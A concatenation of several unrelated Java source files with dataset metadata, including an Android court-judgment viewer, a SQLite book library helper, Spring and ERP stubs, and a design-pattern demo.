name.setText(data.get("j_id").getAsString().split(" ",2)[1].split(" \\[")[0]);
date.setText(data.get("j_date").getAsString());
reason.setText(data.get("j_reason").getAsString());
lawMain.setText(data.get("j_laws").getAsString());
mainData = data.get("j_content").getAsString().replaceAll("\\r", "")
.replace("\\n", "")
.replace("\n", "")
.replace("\r", "")
.replace("\t", "")
.replace(" ", "");
System.out.println(mainData);
content = getContent(mainData);
fact = getFact(mainData);
main.setText(content);
break;
case 0:
}
}
@Override
public void onError(Throwable throwable, boolean b) {
}
@Override
public void onCancelled(CancelledException e) {
}
@Override
public void onFinished() {
}
});
} catch (Exception e) {
e.printStackTrace();
}
}
private String getFact(String mainData) {
String fact = "";
fact = mainData.substring(mainData.indexOf("理由") + 2);
return fact;
}
private String getContent(String mainData) {
String content = "";
content = mainData.substring(mainData.indexOf("主文") + 2, mainData.indexOf("理由"));
content.replaceAll("中華民國","\n\r 中華民國");
return content;
}
private void initItems() {
main = findViewById(R.id.judgement_consult_main);
name = findViewById(R.id.judgement_consult_name);
reason = findViewById(R.id.judgement_consult_reason);
date = findViewById(R.id.judgement_consult_date);
bottom = findViewById(R.id.judgement_consult_bottom);
mainTitle = findViewById(R.id.judgement_consult_maintitle);
law = findViewById(R.id.judgement_consult_law);
lawMain = findViewById(R.id.judgement_consult_lawMain);
mainBody = findViewById(R.id.law_firm_result_scroll);
bottom.setOnClickListener(this);
fOrC = 0;
}
@Override
public void onClick(View view) {
switch (view.getId()){
case R.id.judgement_consult_bottom:
if (fOrC == 0){
fOrC = 1;
mainBody.fullScroll(View.FOCUS_UP);
main.setText(fact);
bottom.setText(R.string.judgement_consult_main);
mainTitle.setText(R.string.judgement_consult_fact);
law.setVisibility(View.GONE);
lawMain.setVisibility(View.GONE);
}else {
fOrC = 0;
mainBody.fullScroll(View.FOCUS_UP);
main.setText(content);
bottom.setText(R.string.judgement_consult_fact);
mainTitle.setText(R.string.judgement_consult_main);
law.setVisibility(View.VISIBLE);
lawMain.setVisibility(View.VISIBLE);
}
}
}
}
| UTF-8 | Java | 5,876 | java | SearchCaseDetailActivity.java | Java | [] | null | [] | package com.example.joan.myapplication;
import android.os.Bundle;
import android.support.annotation.Nullable;
import android.support.v7.app.AppCompatActivity;
import android.view.View;
import android.widget.Button;
import android.widget.ScrollView;
import android.widget.TextView;
import com.example.joan.myapplication.database.model.BaseModel;
import com.google.gson.JsonObject;
import com.google.gson.JsonParser;
import org.xutils.common.Callback;
import org.xutils.http.RequestParams;
import org.xutils.x;
public class SearchCaseDetailActivity extends AppCompatActivity implements View.OnClickListener {
private TextView main, name, reason, date, mainTitle, law, lawMain;
private Button bottom;
private ScrollView mainBody;
private String id, content, fact;
private int state, fOrC;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.case_detail);
findViewById(R.id.btn_back).setOnClickListener(new View.OnClickListener(){
@Override
public void onClick(View v){
finish();
}
});
initItems();
getData();
}
private void getData() {
id = getIntent().getStringExtra("id");
System.out.println(id);
try {
RequestParams params = new RequestParams("http://" + BaseModel.IP_ADDR +":8080/judgementConsult.action");
params.addQueryStringParameter("_id", id);
params.setMaxRetryCount(0);
System.out.println(params);
// System.out.println(params.toString());
x.http().get(params, new Callback.CommonCallback<String>() {
@Override
public void onSuccess(String s) {
// System.out.println(s);
String mainData;
JsonParser jsonParser = new JsonParser();
JsonObject jsonObject = (JsonObject) jsonParser.parse(s);
state = jsonObject.get("state").getAsInt();
switch (state){
case 1:
JsonObject data = jsonObject.getAsJsonObject("data");
// System.out.println(data.get("j_id").getAsString());
name.setText(data.get("j_id").getAsString().split(" ",2)[1].split(" \\[")[0]);
date.setText(data.get("j_date").getAsString());
reason.setText(data.get("j_reason").getAsString());
lawMain.setText(data.get("j_laws").getAsString());
mainData = data.get("j_content").getAsString().replaceAll("\\r", "")
.replace("\\n", "")
.replace("\n", "")
.replace("\r", "")
.replace("\t", "")
.replace(" ", "");
System.out.println(mainData);
content = getContent(mainData);
fact = getFact(mainData);
main.setText(content);
break;
case 0:
}
}
@Override
public void onError(Throwable throwable, boolean b) {
}
@Override
public void onCancelled(CancelledException e) {
}
@Override
public void onFinished() {
}
});
} catch (Exception e) {
e.printStackTrace();
}
}
private String getFact(String mainData) {
String fact = "";
fact = mainData.substring(mainData.indexOf("理由") + 2);
return fact;
}
private String getContent(String mainData) {
String content = "";
content = mainData.substring(mainData.indexOf("主文") + 2, mainData.indexOf("理由"));
content.replaceAll("中華民國","\n\r 中華民國");
return content;
}
private void initItems() {
main = findViewById(R.id.judgement_consult_main);
name = findViewById(R.id.judgement_consult_name);
reason = findViewById(R.id.judgement_consult_reason);
date = findViewById(R.id.judgement_consult_date);
bottom = findViewById(R.id.judgement_consult_bottom);
mainTitle = findViewById(R.id.judgement_consult_maintitle);
law = findViewById(R.id.judgement_consult_law);
lawMain = findViewById(R.id.judgement_consult_lawMain);
mainBody = findViewById(R.id.law_firm_result_scroll);
bottom.setOnClickListener(this);
fOrC = 0;
}
@Override
public void onClick(View view) {
switch (view.getId()){
case R.id.judgement_consult_bottom:
if (fOrC == 0){
fOrC = 1;
mainBody.fullScroll(View.FOCUS_UP);
main.setText(fact);
bottom.setText(R.string.judgement_consult_main);
mainTitle.setText(R.string.judgement_consult_fact);
law.setVisibility(View.GONE);
lawMain.setVisibility(View.GONE);
}else {
fOrC = 0;
mainBody.fullScroll(View.FOCUS_UP);
main.setText(content);
bottom.setText(R.string.judgement_consult_fact);
mainTitle.setText(R.string.judgement_consult_main);
law.setVisibility(View.VISIBLE);
lawMain.setVisibility(View.VISIBLE);
}
}
}
}
| 5,876 | 0.527189 | 0.524282 | 173 | 32.803467 | 27.110704 | 117 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.601156 | false | false | 15 |
fb88f7b21f7610a0fc3b84de180db6c847501800 | 29,360,396,449,493 | e6da34a5e7b65611ff3926b6322ea076abbeefcf | /src/main/java/org/study/spring/annotation/config/MainConfigAop.java | 82ee4256e9b7cbae0c2505f495b6e7faf0cd6f5b | [] | no_license | dakele895/springs | https://github.com/dakele895/springs | 68fd84350f508eee8794d39aca15e461eceff43b | 0c020346820dd2b8c9fd6af62d8c26b1b07bb170 | refs/heads/master | 2022-10-10T12:46:27.994000 | 2022-09-28T08:18:10 | 2022-09-28T08:18:10 | 203,973,695 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package org.study.spring.annotation.config;
import org.springframework.context.annotation.Configuration;
/**
* @author dkl
* @version 1.0 2019/11/26
**/
@Configuration
public class MainConfigAop {
}
| UTF-8 | Java | 204 | java | MainConfigAop.java | Java | [
{
"context": ".context.annotation.Configuration;\n\n/**\n * @author dkl\n * @version 1.0 2019/11/26\n **/\n@Configuration\npu",
"end": 125,
"score": 0.9996272325515747,
"start": 122,
"tag": "USERNAME",
"value": "dkl"
}
] | null | [] | package org.study.spring.annotation.config;
import org.springframework.context.annotation.Configuration;
/**
* @author dkl
* @version 1.0 2019/11/26
**/
@Configuration
public class MainConfigAop {
}
| 204 | 0.754902 | 0.705882 | 11 | 17.545454 | 18.927439 | 60 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.181818 | false | false | 15 |
4d85b5dae8ce9cbbdf88e61f914aff5dd2ff2768 | 12,790,412,618,358 | d16965bf856262434b34ac72fa6c56485d990fe9 | /plan/src/public/nc/vo/plan/jx03/SWLGSVO.java | 2b7b3d04de0def5716279ff4be44a34420702d83 | [] | no_license | bellmit/yy_jxc_hr | https://github.com/bellmit/yy_jxc_hr | 1a10984891c343f297560fc49c98d1feb929c2ac | 7f6482a2b056e92fa43c9fe13f8162835ef59fe3 | refs/heads/master | 2022-01-14T10:08:39.520000 | 2018-04-18T12:49:32 | 2018-04-18T12:49:32 | null | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package nc.vo.plan.jx03;
import nc.vo.pubapp.pattern.model.entity.bill.AbstractBill;
import nc.vo.pubapp.pattern.model.meta.entity.bill.BillMetaFactory;
import nc.vo.pubapp.pattern.model.meta.entity.bill.IBillMeta;
@nc.vo.annotation.AggVoInfo(parentVO = "nc.vo.plan.jx03.SWLGSHVO")
public class SWLGSVO extends AbstractBill {
@Override
public IBillMeta getMetaData() {
IBillMeta billMeta =BillMetaFactory.getInstance().getBillMeta(SWLGSVOMeta.class);
return billMeta;
}
@Override
public SWLGSHVO getParentVO() {
return (SWLGSHVO) this.getParent();
}
} | UTF-8 | Java | 598 | java | SWLGSVO.java | Java | [] | null | [] | package nc.vo.plan.jx03;
import nc.vo.pubapp.pattern.model.entity.bill.AbstractBill;
import nc.vo.pubapp.pattern.model.meta.entity.bill.BillMetaFactory;
import nc.vo.pubapp.pattern.model.meta.entity.bill.IBillMeta;
@nc.vo.annotation.AggVoInfo(parentVO = "nc.vo.plan.jx03.SWLGSHVO")
public class SWLGSVO extends AbstractBill {
@Override
public IBillMeta getMetaData() {
IBillMeta billMeta =BillMetaFactory.getInstance().getBillMeta(SWLGSVOMeta.class);
return billMeta;
}
@Override
public SWLGSHVO getParentVO() {
return (SWLGSHVO) this.getParent();
}
} | 598 | 0.740803 | 0.734114 | 20 | 28 | 26.873779 | 85 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.35 | false | false | 15 |
0bf51a805317185f00418e1a06cb2add52793153 | 10,179,072,501,016 | 3b1e1886f35f60b69e366bd10fba28338983a92b | /src/test/java/cvut/fit/di/commonEntity/managed/injected/UserDao.java | 5d0b2493adaad3442f2c370bb508b3e7771093ea | [] | no_license | buttasam/di-butta | https://github.com/buttasam/di-butta | 1744a0bc9952c6ec57c1b8fa4df4356831d6f246 | 4a0156d613d67bf41c84cf879750d80947c7cb00 | refs/heads/master | 2021-03-30T17:11:25.880000 | 2018-07-04T23:03:47 | 2018-07-04T23:03:47 | 74,998,282 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package cvut.fit.di.commonEntity.managed.injected;
/**
* @author Samuel Butta
*/
public class UserDao {
}
| UTF-8 | Java | 109 | java | UserDao.java | Java | [
{
"context": ".di.commonEntity.managed.injected;\n\n/**\n * @author Samuel Butta\n */\npublic class UserDao {\n}\n",
"end": 79,
"score": 0.9998536109924316,
"start": 67,
"tag": "NAME",
"value": "Samuel Butta"
}
] | null | [] | package cvut.fit.di.commonEntity.managed.injected;
/**
* @author <NAME>
*/
public class UserDao {
}
| 103 | 0.715596 | 0.715596 | 7 | 14.571428 | 17.095171 | 50 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.142857 | false | false | 15 |
f5118a057288f8a40ab35901abf56ec01be1983a | 6,468,220,766,539 | b726affeea30012e7ebdff8f271cf5c0fbffbb76 | /remote-config/server/src/main/java/br/com/leonardoferreira/poc/Application.java | 56d7d09826fd75880be9ad97cb192035f7ce0afc | [] | no_license | LeonardoFerreiraa/poc | https://github.com/LeonardoFerreiraa/poc | 3114ef0a78240f3b74eab8198f266ac63e026c17 | 19f6224e155087f18545b8cf5364ad2fadd52c09 | refs/heads/master | 2023-04-12T09:14:38.601000 | 2022-07-31T21:09:53 | 2022-07-31T21:09:53 | 115,114,577 | 16 | 11 | null | false | 2022-10-19T06:01:44 | 2017-12-22T12:44:57 | 2022-08-11T01:03:18 | 2022-10-19T06:01:44 | 3,353 | 13 | 8 | 1 | Java | false | false | package br.com.leonardoferreira.poc;
import java.util.Properties;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;
@SpringBootApplication
public class Application {
public static void main(String[] args) {
SpringApplication.run(Application.class, args);
}
}
@RestController
class MyController {
@GetMapping("properties")
Properties pingPong() {
final Properties properties = new Properties();
properties.put("custom.simple", "my-remote-value");
return properties;
}
}
| UTF-8 | Java | 721 | java | Application.java | Java | [
{
"context": "package br.com.leonardoferreira.poc;\n\nimport java.util.Properties;\n\nimport org.sp",
"end": 31,
"score": 0.9731280207633972,
"start": 15,
"tag": "USERNAME",
"value": "leonardoferreira"
}
] | null | [] | package br.com.leonardoferreira.poc;
import java.util.Properties;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;
@SpringBootApplication
public class Application {
public static void main(String[] args) {
SpringApplication.run(Application.class, args);
}
}
@RestController
class MyController {
@GetMapping("properties")
Properties pingPong() {
final Properties properties = new Properties();
properties.put("custom.simple", "my-remote-value");
return properties;
}
}
| 721 | 0.751734 | 0.751734 | 29 | 23.862068 | 23.081152 | 68 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.413793 | false | false | 15 |
8b48066f50632944b389227fdcaf0554ecb94972 | 24,850,680,786,503 | 647ec12ce50f06e7380fdbfb5b71e9e2d1ac03b4 | /com.tencent.mm/classes.jar/com/tencent/mm/plugin/sns/c/n.java | cbf20a31e5102ad6d4b477d7050deab2548e6a63 | [] | no_license | tsuzcx/qq_apk | https://github.com/tsuzcx/qq_apk | 0d5e792c3c7351ab781957bac465c55c505caf61 | afe46ef5640d0ba6850cdefd3c11badbd725a3f6 | refs/heads/main | 2022-07-02T10:32:11.651000 | 2022-02-01T12:41:38 | 2022-02-01T12:41:38 | 453,860,108 | 36 | 9 | null | false | 2022-01-31T09:46:26 | 2022-01-31T02:43:22 | 2022-01-31T06:56:43 | 2022-01-31T09:46:26 | 167,304 | 0 | 1 | 1 | Java | false | false | package com.tencent.mm.plugin.sns.c;
import java.util.List;
public abstract interface n
{
public abstract boolean aRZ(String paramString);
public abstract boolean hei();
public abstract List<String> ux(long paramLong);
public abstract String uy(long paramLong);
}
/* Location: L:\local\mybackup\temp\qq_apk\com.tencent.mm\classes3.jar
* Qualified Name: com.tencent.mm.plugin.sns.c.n
* JD-Core Version: 0.7.0.1
*/ | UTF-8 | Java | 476 | java | n.java | Java | [] | null | [] | package com.tencent.mm.plugin.sns.c;
import java.util.List;
public abstract interface n
{
public abstract boolean aRZ(String paramString);
public abstract boolean hei();
public abstract List<String> ux(long paramLong);
public abstract String uy(long paramLong);
}
/* Location: L:\local\mybackup\temp\qq_apk\com.tencent.mm\classes3.jar
* Qualified Name: com.tencent.mm.plugin.sns.c.n
* JD-Core Version: 0.7.0.1
*/ | 476 | 0.665966 | 0.655462 | 24 | 18.083334 | 22.956329 | 80 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.25 | false | false | 15 |
0504abde42c5682ae5ad9e176c56e842339f49b0 | 2,396,591,789,947 | c26b900d455070be0ab2cfd197121444acbb6e1d | /app/src/main/java/com/example/booklist/DataBase.java | 657ad189d9cbf3887271b83b03852d69e76cd6c1 | [] | no_license | enginayna/Sqlite-Book-Library | https://github.com/enginayna/Sqlite-Book-Library | f35d2cd9c29730edc47af8aa4b0554f681a0a4f3 | 6494e12f1d873fd7200f7757742d51b74200cea4 | refs/heads/master | 2020-05-29T13:33:19.582000 | 2019-05-29T06:54:28 | 2019-05-29T06:54:28 | 189,166,982 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package com.example.booklist;
import android.content.ContentValues;
import android.content.Context;
import android.database.Cursor;
import android.database.sqlite.SQLiteDatabase;
import android.database.sqlite.SQLiteOpenHelper;
import java.util.ArrayList;
import java.util.List;
public class DataBase extends SQLiteOpenHelper {
private static final String databaseName="Library";
private static final String tableName = "Books";
private static final String ID = "ID";
private static final String bookName = "Name";
private static final String authorName="Author";
private static final String CREATE_TABLE= "CREATE TABLE " +
tableName + " (" + ID + " INTEGER PRIMARY KEY AUTOINCREMENT, " +
bookName + " TEXT, " + authorName + " TEXT)";
//
public DataBase(Context context) {
super(context, databaseName, null, 1);
//Data data databases dosyasinda olusmasini saglar
// super(context, String.valueOf(context.getDatabasePath(databaseName)), null, 1);
//internal memory(dahili bellekte olusmasini istersek kullanacagimiz metot budur.)
//super(context, new File(Environment.getExternalStorageDirectory(), databaseName).toString(), null, 1);
//Sd card icerisinde olusmasini istiyorsak kullanacagimiz metot budur
}
@Override
public void onCreate(SQLiteDatabase db) {
db.execSQL(CREATE_TABLE);
}
@Override
public void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) {
db.execSQL("DROP TABLE IF EXISTS " + tableName);
onCreate(db);
}
public void addBook(Book book){
SQLiteDatabase db = this.getWritableDatabase();
ContentValues values = new ContentValues();
values.put(bookName , book.getBookName());
values.put(authorName, book.getAuthorName());
db.insert(tableName,null,values);
db.close();
}
public List<Book> bookList(){
List<Book> books = new ArrayList<>();
SQLiteDatabase db = this.getReadableDatabase();
String sql = "SELECT*FROM " + tableName;
Cursor cursor = db.rawQuery(sql, null);
while(cursor.moveToNext()){
Book book = new Book(
Integer.valueOf(cursor.getString(0)),
cursor.getString(1),
cursor.getString(2));
books.add(book);
}
return books;
}
public Book BookID(int id){
SQLiteDatabase db = this.getReadableDatabase();
String sql = "SELECT*FROM " + tableName + " WHERE " + ID + "=" + id;
Cursor cursor = db.rawQuery(sql,null);
Book book= new Book();
if (cursor!=null) {
cursor.moveToFirst();
}
book.setID(Integer.valueOf(cursor.getString(0)));
book.setBookName(cursor.getString(1));
book.setAuthorName(cursor.getString(2));
return book;
}
public void delete(Book book){
SQLiteDatabase db = this.getWritableDatabase();
db.delete(tableName, ID + " = ?" , new String[]{String.valueOf(book.getID())});
db.close();
}
public int update(Book book){
SQLiteDatabase db = this.getWritableDatabase();
ContentValues values = new ContentValues();
values.put(bookName,book.getBookName());
values.put(authorName,book.getAuthorName());
int i= db.update(tableName,values,ID + " = ?", new String[]{String.valueOf(book.getID())});
db.close();
return i;
}
}
| UTF-8 | Java | 3,519 | java | DataBase.java | Java | [] | null | [] | package com.example.booklist;
import android.content.ContentValues;
import android.content.Context;
import android.database.Cursor;
import android.database.sqlite.SQLiteDatabase;
import android.database.sqlite.SQLiteOpenHelper;
import java.util.ArrayList;
import java.util.List;
public class DataBase extends SQLiteOpenHelper {
private static final String databaseName="Library";
private static final String tableName = "Books";
private static final String ID = "ID";
private static final String bookName = "Name";
private static final String authorName="Author";
private static final String CREATE_TABLE= "CREATE TABLE " +
tableName + " (" + ID + " INTEGER PRIMARY KEY AUTOINCREMENT, " +
bookName + " TEXT, " + authorName + " TEXT)";
//
public DataBase(Context context) {
super(context, databaseName, null, 1);
//Data data databases dosyasinda olusmasini saglar
// super(context, String.valueOf(context.getDatabasePath(databaseName)), null, 1);
//internal memory(dahili bellekte olusmasini istersek kullanacagimiz metot budur.)
//super(context, new File(Environment.getExternalStorageDirectory(), databaseName).toString(), null, 1);
//Sd card icerisinde olusmasini istiyorsak kullanacagimiz metot budur
}
@Override
public void onCreate(SQLiteDatabase db) {
db.execSQL(CREATE_TABLE);
}
@Override
public void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) {
db.execSQL("DROP TABLE IF EXISTS " + tableName);
onCreate(db);
}
public void addBook(Book book){
SQLiteDatabase db = this.getWritableDatabase();
ContentValues values = new ContentValues();
values.put(bookName , book.getBookName());
values.put(authorName, book.getAuthorName());
db.insert(tableName,null,values);
db.close();
}
public List<Book> bookList(){
List<Book> books = new ArrayList<>();
SQLiteDatabase db = this.getReadableDatabase();
String sql = "SELECT*FROM " + tableName;
Cursor cursor = db.rawQuery(sql, null);
while(cursor.moveToNext()){
Book book = new Book(
Integer.valueOf(cursor.getString(0)),
cursor.getString(1),
cursor.getString(2));
books.add(book);
}
return books;
}
public Book BookID(int id){
SQLiteDatabase db = this.getReadableDatabase();
String sql = "SELECT*FROM " + tableName + " WHERE " + ID + "=" + id;
Cursor cursor = db.rawQuery(sql,null);
Book book= new Book();
if (cursor!=null) {
cursor.moveToFirst();
}
book.setID(Integer.valueOf(cursor.getString(0)));
book.setBookName(cursor.getString(1));
book.setAuthorName(cursor.getString(2));
return book;
}
public void delete(Book book){
SQLiteDatabase db = this.getWritableDatabase();
db.delete(tableName, ID + " = ?" , new String[]{String.valueOf(book.getID())});
db.close();
}
public int update(Book book){
SQLiteDatabase db = this.getWritableDatabase();
ContentValues values = new ContentValues();
values.put(bookName,book.getBookName());
values.put(authorName,book.getAuthorName());
int i= db.update(tableName,values,ID + " = ?", new String[]{String.valueOf(book.getID())});
db.close();
return i;
}
}
| 3,519 | 0.635408 | 0.63285 | 94 | 36.436169 | 25.212105 | 112 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.861702 | false | false | 15 |
cbcdffff61b772b9585918a935c896cf11f195e4 | 33,981,781,273,469 | 293b1640eba7ddc7dd75a14b33b9aaa803caa906 | /src/ec/ssr/functions/X331.java | c4db3472a7d4950595ad0c604bacfb7c43c4261d | [] | no_license | luizvbo/ssr | https://github.com/luizvbo/ssr | a5703087456b3037c64082760c41e98cc31d4dcf | 522ae0b7d72eb60f19cba30b876950871c7ae6db | refs/heads/master | 2020-03-29T20:53:24.718000 | 2016-12-02T00:08:25 | 2016-12-02T00:08:25 | 150,337,098 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package ec.ssr.functions;
public class X331 extends X{
@Override
public String getVariableName() {
return "x331";
}
@Override
public int getInputIndex() {
return 330;
}
} | UTF-8 | Java | 182 | java | X331.java | Java | [] | null | [] | package ec.ssr.functions;
public class X331 extends X{
@Override
public String getVariableName() {
return "x331";
}
@Override
public int getInputIndex() {
return 330;
}
} | 182 | 0.703297 | 0.653846 | 13 | 13.076923 | 11.822153 | 34 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1 | false | false | 15 |
7438d705b64fc799bfd4456c7ef710bf4f9ab1fe | 33,981,781,271,842 | ff24fbb9182b25f5dd9ac6d7f4a8c353d74b98f7 | /src/main/java/sbs/service/optima/JdbcOptimaService.java | 0ac744f7915ec6b0b12c0f61dd42f57687894aff | [] | no_license | virusspl/SpringBootMVCStarter | https://github.com/virusspl/SpringBootMVCStarter | 6f31a4e9a561016293f7d3b12045f0722554444f | 9db2170aa5e137012453557061109519fd1dbb15 | refs/heads/master | 2022-06-30T06:44:28.324000 | 2022-06-23T07:52:33 | 2022-06-23T07:52:33 | 80,722,506 | 4 | 3 | null | false | 2022-06-29T16:37:35 | 2017-02-02T12:24:51 | 2021-11-26T12:14:46 | 2022-06-29T16:37:35 | 37,092 | 5 | 3 | 2 | Java | false | false | package sbs.service.optima;
import java.util.List;
import sbs.model.hr.HrUserInfo;
public interface JdbcOptimaService {
public static final int DB_ALL = 0;
public static final int DB_ADR = 1;
public static final int DB_WPS = 2;
public static final int DB_ADECCO = 3;
public static final int DB_UA = 4;
public HrUserInfo findCurrentlyEmployedById(String userId, int database);
public HrUserInfo findCurrentlyEmployedByCardNo(String cardNo, int database);
public List<HrUserInfo> findAllCurrentlyEmployed(int database);
}
| UTF-8 | Java | 565 | java | JdbcOptimaService.java | Java | [] | null | [] | package sbs.service.optima;
import java.util.List;
import sbs.model.hr.HrUserInfo;
public interface JdbcOptimaService {
public static final int DB_ALL = 0;
public static final int DB_ADR = 1;
public static final int DB_WPS = 2;
public static final int DB_ADECCO = 3;
public static final int DB_UA = 4;
public HrUserInfo findCurrentlyEmployedById(String userId, int database);
public HrUserInfo findCurrentlyEmployedByCardNo(String cardNo, int database);
public List<HrUserInfo> findAllCurrentlyEmployed(int database);
}
| 565 | 0.739823 | 0.730973 | 19 | 27.736841 | 25.618336 | 81 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.105263 | false | false | 15 |
7ebf3d6c3b2392ab113944cc2aa8e6e8b74198f9 | 22,814,866,295,147 | e55c1221a88d3a4554094b74c7f199fbfd953136 | /src/com/GARCIA/Main.java | 88cc88447105e7c3e8bf214f211cddf4be73818b | [] | no_license | enriquegarcia96/SISTEMA_BANCARIO-2PARCIAL | https://github.com/enriquegarcia96/SISTEMA_BANCARIO-2PARCIAL | 59066902318db11bfbc630600ff0fe0e83ed8614 | ab3a0203c8a274f8ad73f72a9e402d23910903e6 | refs/heads/master | 2020-09-05T15:40:18.612000 | 2019-11-07T03:49:01 | 2019-11-07T03:49:01 | 220,146,537 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package com.GARCIA;
import com.GARCIA.modelos.Usuario;
import java.net.UnknownServiceException;
import java.util.ArrayList;
import java.util.Scanner;
public class Main {
public static void main(String[] args) {
Usuario nuevoUsuario = new Usuario("0301","enrique","garcia","ewhwjash@gmail.com");
nuevoUsuario.getNombreUsuario();
nuevoUsuario.guardar();
nuevoUsuario.guardar();
Scanner lector = new Scanner(System.in);
System.out.println("ingrese un numero de identidad: ");
String identidad = lector.next();
Usuario usuarioEncontrado = Usuario.getUsuario(identidad);
if (usuarioEncontrado != null){
usuarioEncontrado.setNombre("allan");
usuarioEncontrado.guardar();
System.out.println(usuarioEncontrado.getNombreUsuario());
}else {
System.out.println("no se encontro un uaus");
}
boolean continuar = true;
while (continuar) {
System.out.println("~~ Menu ~~");
System.out.println("1. Lista de usuarios");
System.out.println("2. Busqueda de usuarios");
int opcion = LectorDeDatos.solicitarEntero("Ingrese su opcion: ");
switch (opcion) {
case 1:
int mostrarLimite = LectorDeDatos.solicitarEntero("Ingrese un numero : ");
ArrayList<Usuario> lista = Usuario.getUsuarios(mostrarLimite);
for (Usuario u : lista) {
System.out.println(u.getNombreUsuario());
}
break;
case 2:
System.out.println("ingrese la identidad a buscar: ");
String busqueda = lector.nextLine();
ArrayList<Usuario> lista2 = Usuario.getUsuario(busqueda);
for (Usuario u : lista2) {
System.out.println(u.getIdentidad());
}
break;
}
}
}
}
| UTF-8 | Java | 2,054 | java | Main.java | Java | [
{
"context": " Usuario nuevoUsuario = new Usuario(\"0301\",\"enrique\",\"garcia\",\"ewhwjash@gmail.com\");\n nuevoUsu",
"end": 277,
"score": 0.8430330753326416,
"start": 270,
"tag": "USERNAME",
"value": "enrique"
},
{
"context": "ario nuevoUsuario = new Usuario(\"0301\",\"enrique\",\"garcia\",\"ewhwjash@gmail.com\");\n nuevoUsuario.getN",
"end": 286,
"score": 0.9939849972724915,
"start": 280,
"tag": "USERNAME",
"value": "garcia"
},
{
"context": "oUsuario = new Usuario(\"0301\",\"enrique\",\"garcia\",\"ewhwjash@gmail.com\");\n nuevoUsuario.getNombreUsuario();\n ",
"end": 307,
"score": 0.9999269843101501,
"start": 289,
"tag": "EMAIL",
"value": "ewhwjash@gmail.com"
},
{
"context": "ull){\n usuarioEncontrado.setNombre(\"allan\");\n usuarioEncontrado.guardar();\n ",
"end": 728,
"score": 0.8887814283370972,
"start": 726,
"tag": "NAME",
"value": "an"
}
] | null | [] | package com.GARCIA;
import com.GARCIA.modelos.Usuario;
import java.net.UnknownServiceException;
import java.util.ArrayList;
import java.util.Scanner;
public class Main {
public static void main(String[] args) {
Usuario nuevoUsuario = new Usuario("0301","enrique","garcia","<EMAIL>");
nuevoUsuario.getNombreUsuario();
nuevoUsuario.guardar();
nuevoUsuario.guardar();
Scanner lector = new Scanner(System.in);
System.out.println("ingrese un numero de identidad: ");
String identidad = lector.next();
Usuario usuarioEncontrado = Usuario.getUsuario(identidad);
if (usuarioEncontrado != null){
usuarioEncontrado.setNombre("allan");
usuarioEncontrado.guardar();
System.out.println(usuarioEncontrado.getNombreUsuario());
}else {
System.out.println("no se encontro un uaus");
}
boolean continuar = true;
while (continuar) {
System.out.println("~~ Menu ~~");
System.out.println("1. Lista de usuarios");
System.out.println("2. Busqueda de usuarios");
int opcion = LectorDeDatos.solicitarEntero("Ingrese su opcion: ");
switch (opcion) {
case 1:
int mostrarLimite = LectorDeDatos.solicitarEntero("Ingrese un numero : ");
ArrayList<Usuario> lista = Usuario.getUsuarios(mostrarLimite);
for (Usuario u : lista) {
System.out.println(u.getNombreUsuario());
}
break;
case 2:
System.out.println("ingrese la identidad a buscar: ");
String busqueda = lector.nextLine();
ArrayList<Usuario> lista2 = Usuario.getUsuario(busqueda);
for (Usuario u : lista2) {
System.out.println(u.getIdentidad());
}
break;
}
}
}
}
| 2,043 | 0.554041 | 0.549172 | 62 | 32.129032 | 26.591585 | 94 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.548387 | false | false | 15 |
c0fc7d5603d1fa0b7203e2b9cf8a4a3c35e5a7a7 | 32,435,593,038,793 | 8d2d9526dee60df19535d0cbe599c441ee8917f5 | /src/main/java/com/javaaround/dpattern/App.java | 728e222c02037a3ae594c1706d83e11c3841b231 | [] | no_license | shamim0754/designpattern | https://github.com/shamim0754/designpattern | eacb59e2b9d5b78af978f0bc1d5ddbcaebfbbe07 | ae046a8a981c7888d120780de69940940b820051 | refs/heads/master | 2020-09-22T05:52:04.324000 | 2017-05-16T12:33:55 | 2017-05-16T12:33:55 | 67,497,456 | 0 | 1 | null | null | null | null | null | null | null | null | null | null | null | null | null | package com.javaaround.dpattern;
import com.javaaround.dpattern.factorypattern.FactoryFinder;
import com.javaaround.dpattern.factorypattern.AbstractFactory;
import com.javaaround.dpattern.factorypattern.Shape;
import com.javaaround.dpattern.factorypattern.ColorFactory;
import com.javaaround.dpattern.factorypattern.Color;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.DocumentBuilder;
import org.w3c.dom.Document;
import org.w3c.dom.NodeList;
import org.w3c.dom.Node;
import org.w3c.dom.Element;
import java.io.File;
/**
* Hello world!
*
*/
public class App
{
public static void main( String[] args )
{
System.out.println("Hello World");
//usage of abstract factory pattern
AbstractFactory colorFactory = FactoryFinder.getFactory("COLOR");
Color color = colorFactory.getColor("RED");
color.fill();
}
}
| UTF-8 | Java | 890 | java | App.java | Java | [] | null | [] | package com.javaaround.dpattern;
import com.javaaround.dpattern.factorypattern.FactoryFinder;
import com.javaaround.dpattern.factorypattern.AbstractFactory;
import com.javaaround.dpattern.factorypattern.Shape;
